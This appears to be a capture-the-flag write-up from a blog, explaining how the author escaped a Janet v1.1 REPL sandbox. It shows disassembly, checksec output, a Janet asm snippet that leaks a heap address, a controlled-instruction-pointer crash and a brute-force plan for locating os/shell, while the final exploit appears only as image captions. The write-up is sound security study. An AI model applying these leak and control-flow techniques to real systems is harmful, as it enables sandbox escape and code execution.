At this point, I started exploring vectors to get to execute the os/shell function directly in the binary. I loaded the binary (./janet) into gdb and started exploring different functions available.

gef_  disassemble os_shell 
Dump of assembler code for function os_shell:
0x00005555555731e0 <+0>: push rbp
0x00005555555731e1 <+1>: mov edx,0x1
0x00005555555731e6 <+6>: mov rbp,rsi
0x00005555555731e9 <+9>: xor esi,esi
0x00005555555731eb <+11>: push rbx
0x00005555555731ec <+12>: mov ebx,edi
0x00005555555731ee <+14>: sub rsp,0x8
0x00005555555731f2 <+18>: call 0x5555555635f0 <janet_arity>
0x00005555555731f7 <+23>: test ebx,ebx
0x00005555555731f9 <+25>: jne 0x555555573228 <os_shell+72>
0x00005555555731fb <+27>: xor edi,edi
0x00005555555731fd <+29>: call 0x55555555f1d0 <system@plt>
0x0000555555573202 <+34>: xor edi,edi
0x0000555555573204 <+36>: test eax,eax
0x0000555555573206 <+38>: movabs rax,0xfff9000000000000
0x0000555555573210 <+48>: setne dil
0x0000555555573214 <+52>: add rsp,0x8
0x0000555555573218 <+56>: pop rbx
0x0000555555573219 <+57>: add rdi,rax
0x000055555557321c <+60>: pop rbp
0x000055555557321d <+61>: jmp 0x555555586ca0 <janet_nanbox_from_bits>
0x0000555555573222 <+66>: nop WORD PTR [rax+rax*1+0x0]
0x0000555555573228 <+72>: mov rdi,rbp
0x000055555557322b <+75>: xor esi,esi
0x000055555557322d <+77>: call 0x555555563a20 <janet_getcstring>
0x0000555555573232 <+82>: mov rdi,rax
0x0000555555573235 <+85>: call 0x55555555f1d0 <system@plt>
0x000055555557323a <+90>: pxor xmm0,xmm0
0x000055555557323e <+94>: add rsp,0x8
0x0000555555573242 <+98>: cvtsi2sd xmm0,eax
0x0000555555573246 <+102>: pop rbx
0x0000555555573247 <+103>: pop rbp
0x0000555555573248 <+104>: jmp 0x555555586c70 <janet_nanbox_from_double>
End of assembler dump.
gef_

We can see os_shell still exists and calls system but is overloaded and cannot be accessed directly from the Janet code. The binary has all exploit mitigations enabled.

[+] checksec for '/root/new/janet'
Canary : Y(value: 0x4060c088394f3f00)
NX : Y
PIE : Y
Fortify : Y
RelRO : Partial
gef_

Due to PIE: pointer to os/shell in binary will always keep on changing. We need to get a leak from the “asm” primitive to calculate os/shell’s pointer and then find a way to somehow control the execution flow to jump to our pointer. I explored all instructions from the documentation. Found a set of instructions that create a new array in the heap and return a pointer to that on the stack. mkarr, mkbtp, mkbuf, mkstr ….

(def some
(asm
'{
constants @["blah" print]
:arity 0
slotcount 2
bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (mkarr 2) (ret 2)]
}
))
(def- leak_tup (some)) 
(print leak_tup)
(os/sleep 100)

I added the sleep at the end to give us time to attach the debugger and analyze the segment addresses.

root@ctf2-VirtualBox:~/new# ./janet asm_janet_baby.janet 
<array 0x5594A499C800>

We can verify that our leak is at a constant offset from the base (0x5594A499C8000x5594a496b000 = 202752)

gef_ vmmap
0x00005594a358d000 0x00005594a3598000 0x0000000000000000 r-- /root/new/janet
0x00005594a3598000 0x00005594a35c1000 0x000000000000b000 r-x /root/new/janet
0x00005594a35c1000 0x00005594a35ee000 0x0000000000034000 r-- /root/new/janet
0x00005594a35ef000 0x00005594a35f2000 0x0000000000061000 r-- /root/new/janet
0x00005594a35f2000 0x00005594a35f3000 0x0000000000064000 rw- /root/new/janet
0x00005594a35f3000 0x00005594a35f4000 0x0000000000000000 rw-
0x00005594a496b000 0x00005594a49ef000 0x0000000000000000 rw- [heap]
0x00007f4542349000 0x00007f454234b000 0x0000000000000000 rw-
0x00007f454234b000 0x00007f4542352000 0x0000000000000000 r--
...

After we have the heap base we still need a way to get the program base from our leak. At first, I thought of reading some heap pointers that store addresses to some functions in the program memory, but I couldn’t find a way to read arbitrary memory addresses using the “asm” function in Janet.

After some failed attempts and nudges from Jakob, I looked at the pattern of heap base and program base addresses:

base                | heap
0x000055cb3948c000 | 0x000055cb39692000
0x0000562263e9d000 | 0x00005622650a8000

We can see that the heap base and program base only have 2 bytes of difference and can be brute-forced in 0xffff attempts. Having some idea on how to get the leak to os/shell, I looked around to find some bugs to lead to RCE. In my research, I found a reported security issue on Github. Given the challenge uses v1.1, it's quite possible some of the old bugs will still be valid. https://github.com/janet-lang/janet/issues/142 (credits: Barakat)

Running the payload crashes the Janet REPL as it tries to jump to 0x123456789ABC (unavailable address).

root@ctf2-VirtualBox:~/new# ./janet asm_janet_baby2.janet 
object: <cfunction 0x123456789ABC>
type: cfunction
Segmentation fault (core dumped)

Alright now we have a way to leak heap base and a primitive to control RIP, all we need is a way to get os/shell pointer and we can easily access the juicy flag.txt.

At this point, I had to figure out how to convert my array leak to string and use string/slice to get the address in integer so that we can subtract from it to calculate heap base. Remember we are still in REPL shell so we have to use Janet to achieve all this. I made use of describe, strings/slice, strings/trim, and scan-number to achieve this:

root@ctf2-VirtualBox:~/new# ./janet leaks.janet 
<array 0x5561848BB3F0>
0x5561848BB3F0
5561
848BB3F0
0x848BB3F0
0x5561

Note: we have to split the 64 address into two 32 bit parts to be compatible with Janet integer type. After we have the heap base, let's try and brute force the bytes to generate all possible addresses for the program base:

We know that os/shell will always be at a constant offset from the program base i.e 127456.

____________________________________________________________________
gef_ p os_shell
$1 = {<text variable, no debug info>} 0x55ec3d2b61e0 <os_shell>
>>> 0x55ec3d2b61e0 - 0x000055ec3d297000
127456

Now we need a way to test if any of our possible program base addresses are accurate. To do this we can use describe:

root@ctf2-VirtualBox:~/new# cat gg.janet 
(print (describe os/shell))
root@ctf2-VirtualBox:~/new# ./janet gg.janet
<cfunction os/shell>

If we have the correct pointer to os/shell, describe call will return cfunction os/shell. Let's add this logic to our Janet script:

It will eventually hit the os/shell pointer and execute it for us:

exploit_final

On remote the heap base is off by 0x50, maybe due to the blacklist:

heap base mismatch on remote

Final exploit for remote:

and we get the flag:

janet_replme2_solve

We got the flag just a few minutes after the CTF ended. Nevertheless, it was a great challenge based on a real-world Janet vulnerability and I learned a lot from it. Thanks for reading. Have a good one!


Janet v1.1 REPL Sandbox Bypass was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Viewing all 51 articles
Browse latest View live